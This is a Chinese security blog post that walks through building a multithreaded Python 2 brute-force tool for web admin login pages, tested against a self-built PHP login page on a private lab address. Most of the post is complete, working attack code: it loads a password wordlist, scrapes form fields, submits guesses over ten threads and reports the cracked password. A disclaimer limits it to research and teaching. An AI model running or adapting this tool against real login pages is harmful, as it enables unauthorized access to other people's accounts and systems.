Python多线程Web后台爆破

2019-06-28 0 评 1,250 阅 0 赞

前言

我们很多时候知道后台用户名但是不知道密码的时候就需要这样一款利器了

我没有写用户字典，可自行修改完善。

知识点

thread多线程,urllib2页面爬取，

HTMLParser解析HTML

使用方法

窗口模式

from HTMLParser import HTMLParser
from htmlentitydefs import name2codepoint
 
class MyHTMLParser(HTMLParser):
 
    def handle_starttag(self, tag, attrs):
        print('<%s>' % tag)
 
    def handle_endtag(self, tag):
        print('</%s>' % tag)
 
    def handle_startendtag(self, tag, attrs):
        print('<%s/>' % tag)
 
    def handle_data(self, data):
        print('data')
 
    def handle_comment(self, data):
        print('<!-- -->')
 
    def handle_entityref(self, name):
        print('&%s;' % name)
 
    def handle_charref(self, name):
        print('&#%s;' % name)
 
parser = MyHTMLParser()
parser.feed('<html><head></head><body><p>Some <a href=\"#\">html</a> tutorial...<br>END</p></body></html>')

feed()方法可以多次调用，也就是不一定一次把整个HTML字符串都塞进去，可以一部分一部分塞进去。

特殊字符有两种，一种是英文表示的 ，一种是数字表示的Ӓ，这两种字符都可以通过Parser解析出来。

步骤

因为测试页不好找，所以我自己自己搭建了一个登录页，大致如下：

Source code

窗口模式

if(!empty($_POST['username'])){
	$username = $_POST['username'];
	$password = $_POST['password'];
	#帐号密码设置为固定以方便我们测试
	if ($username=="admin" && $password=="password"){echo "sucessful login";}else{
		?>
	<form action="login.php" method="post">
 
	<fieldset>
 
			<label for="user">Username</label> <input type="text" class="loginInput" size="20" name="username"><br />
 
 
			<label for="pass">Password</label> <input type="password" class="loginInput" AUTOCOMPLETE="off" size="20" name="password"><br />
 
 
 
			<p class="submit"><input type="submit" value="Login" name="Login"></p>
 
	</fieldset>
 
	</form>

直接设置固定的帐号密码为：admin/password

Python代码

Source code

窗口模式

#-*-coding:utf-8-*-
import urllib2
import urllib
import cookielib
import threading
import sys
import Queue
 
from HTMLParser import HTMLParser
 
#简要设置
user_thread = 10
username = "admin"
wordlist_file = "/root/password.lst"
 
resume = None
 
target_url = "http://192.168.2.130:81/login.php"
target_post = "http://192.168.2.130:81/login.php"
 
username_field ="username"
password_field ="password"
 
false_check ="DVWA"
 
########################################################################
class Brtuer(object):
 
    #----------------------------------------------------------------------
    def __init__(self,username,words):
        self.username =username
        self.password_q =words
        self.found = False
 
 
        print "Finished setting up for: %s" % username
 
    #----------------------------------------------------------------------
    def run_brutefoce(self):
        for i in range(user_thread):
 
            t = threading.Thread(target=self.web_bruter)
            t.start()
 
    #----------------------------------------------------------------------
    def web_bruter(self):
        while not self.password_q.empty() and not self.found:
            brute = self.password_q.get().rstrip()
            jar = cookielib.FileCookieJar("cookies")
            opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
 
            response =opener.open(target_url)
 
            page = response.read()
 
            print "Trying:(%s=>%s) [%d left]" % (self.username,brute,self.password_q.qsize())
 
            #初始我们写的类并解析页面
            parser = BruterParser()
            parser.feed(page)
            post_tags = parser.tag_results
 
            #构造参数
            post_tags[username_field] = self.username
            post_tags[password_field] = brute
 
 
            login_data = urllib.urlencode(post_tags)
            #print login_data
            login_response = opener.open(target_post,login_data)
            login_result = login_response.read()
 
            if false_check not in login_result:
                self.found =True
 
                print "\033[1;32;41m[*] Brute Bruteforce successful"
                print "\033[1;32;41m[*] Username=%s" %username
                print "\033[1;32;41m[*] Password=%s" %brute
                print "\033[1;32;41m[*] Waiting for other threads exit...\033[0m"
 
 
########################################################################
class BruterParser(HTMLParser):
 
    #----------------------------------------------------------------------
    def __init__(self):
        HTMLParser.__init__(self)
        self.tag_results = {}
    #----------------------------------------------------------------------
    def handle_starttag(self,tag,attrs):
        if tag == "input":
            tag_name =None
            tag_value =None
            for name,value in attrs:
                if name =="name":
                    tag_name =name
                if name =="value":
                    tag_value =value
 
            if tag_name is not None:
                self.tag_results[tag_name] =value
 
 
#----------------------------------------------------------------------
resumae = None
def build_wordlist(wordlist_file):
    #读入目录字典
    fd =open(wordlist_file, mode='rb')
    raw_words =fd.readlines()
    fd.close()
 
    found_resume = False
    #定义线程对象
    words = Queue.Queue()
    #print raw_words
    for word in raw_words:
        word  =word.rstrip()
        if resumae is not None:
            if found_resume:
                words.put(word)
            else:
                if word ==resumae:
                    found_resume =True
                    print "Resume wordlist from:%s" % resumae
        else:
            words.put(word)
    return words
 
 
words = build_wordlist(wordlist_file)
 
bruter_obj = Brtuer(username,words)
#执行handle_starttag
bruter_obj.run_brutefoce()

效果图

上面帐号的密码可以看到已经成功破解

Python多线程Web后台爆破

前言

知识点

步骤

Python代码

效果图

免责声明：本博客的提供安全工具、程序(方法)可能带有攻击性，仅供安全研究与教学之用，风险自负!

发表评论取消回复

前言

知识点

步骤

Python代码

效果图

免责声明：本博客的提供安全工具、程序(方法)可能带有攻击性，仅供安全研究与教学之用，风险自负!

相关文章

发表评论 取消回复

发表评论取消回复